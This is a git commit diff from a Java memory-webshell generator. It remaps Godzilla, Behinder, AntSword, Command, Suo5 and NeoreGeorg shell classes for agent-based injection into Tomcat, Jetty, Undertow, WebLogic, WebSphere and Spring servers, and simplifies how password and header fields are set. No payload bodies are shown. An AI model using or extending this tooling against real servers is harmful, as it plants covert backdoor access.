mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: use ASM Agent by default
This commit is contained in:
@@ -2,27 +2,11 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.server.*;
|
import com.reajason.javaweb.memshell.server.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.*;
|
import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod;
|
||||||
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler;
|
||||||
@@ -34,15 +18,12 @@ import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter;
|
|||||||
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
|
||||||
@@ -163,17 +144,17 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||||
@@ -189,13 +170,13 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Behinder.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||||
@@ -205,13 +186,13 @@ public enum Server {
|
|||||||
.addShellClass(VALVE, AntSwordValve.class)
|
.addShellClass(VALVE, AntSwordValve.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, AntSword.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||||
@@ -229,24 +210,17 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class)
|
||||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
|
||||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
|
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||||
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
|
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||||
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
|
|
||||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
|
|
||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
|
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||||
@@ -262,7 +236,14 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class)
|
||||||
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, Suo5.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||||
@@ -278,6 +259,13 @@ public enum Server {
|
|||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class)
|
||||||
|
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class)
|
||||||
|
.addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class)
|
||||||
|
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class)
|
||||||
|
.addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class)
|
||||||
|
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||||
|
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||||
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.build());
|
.build());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -19,27 +19,19 @@ public class ShellType {
|
|||||||
public static final String NETTY_HANDLER = "NettyHandler";
|
public static final String NETTY_HANDLER = "NettyHandler";
|
||||||
|
|
||||||
public static final String AGENT = "Agent";
|
public static final String AGENT = "Agent";
|
||||||
public static final String ASM = "ASM";
|
|
||||||
|
|
||||||
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
|
||||||
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
|
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
|
||||||
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
|
|
||||||
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
|
||||||
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
|
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
|
||||||
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
|
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||||
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
|
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
|
||||||
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
|
||||||
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
|
|
||||||
|
|
||||||
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
|
|||||||
+1
-12
@@ -49,20 +49,9 @@ public class AntSwordGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
return builder.field(named("pass")).value(antSwordConfig.getPass())
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
|
||||||
put("pass", antSwordConfig.getPass());
|
|
||||||
put("headerName", antSwordConfig.getHeaderName());
|
|
||||||
put("headerValue", antSwordConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
|
|
||||||
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
.field(named("headerName")).value(antSwordConfig.getHeaderName())
|
||||||
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
|
|||||||
+3
-18
@@ -1,11 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
import com.reajason.javaweb.memshell.config.BehinderConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
@@ -13,8 +11,6 @@ import net.bytebuddy.ByteBuddy;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -52,20 +48,9 @@ public class BehinderGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
return builder.field(named("pass")).value(md5Key)
|
||||||
builder = builder.visit(
|
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
|
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
||||||
put("pass", md5Key);
|
|
||||||
put("headerName", behinderConfig.getHeaderName());
|
|
||||||
put("headerValue", behinderConfig.getHeaderValue());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("pass")).value(md5Key)
|
|
||||||
.field(named("headerName")).value(behinderConfig.getHeaderName())
|
|
||||||
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
|
|||||||
+5
-22
@@ -1,11 +1,9 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
import com.reajason.javaweb.memshell.utils.DigestUtils;
|
||||||
@@ -13,8 +11,6 @@ import net.bytebuddy.ByteBuddy;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -53,24 +49,11 @@ public class GodzillaGenerator {
|
|||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
return builder.field(named("pass")).value(godzillaConfig.getPass())
|
||||||
builder = builder.visit(
|
.field(named("key")).value(md5Key)
|
||||||
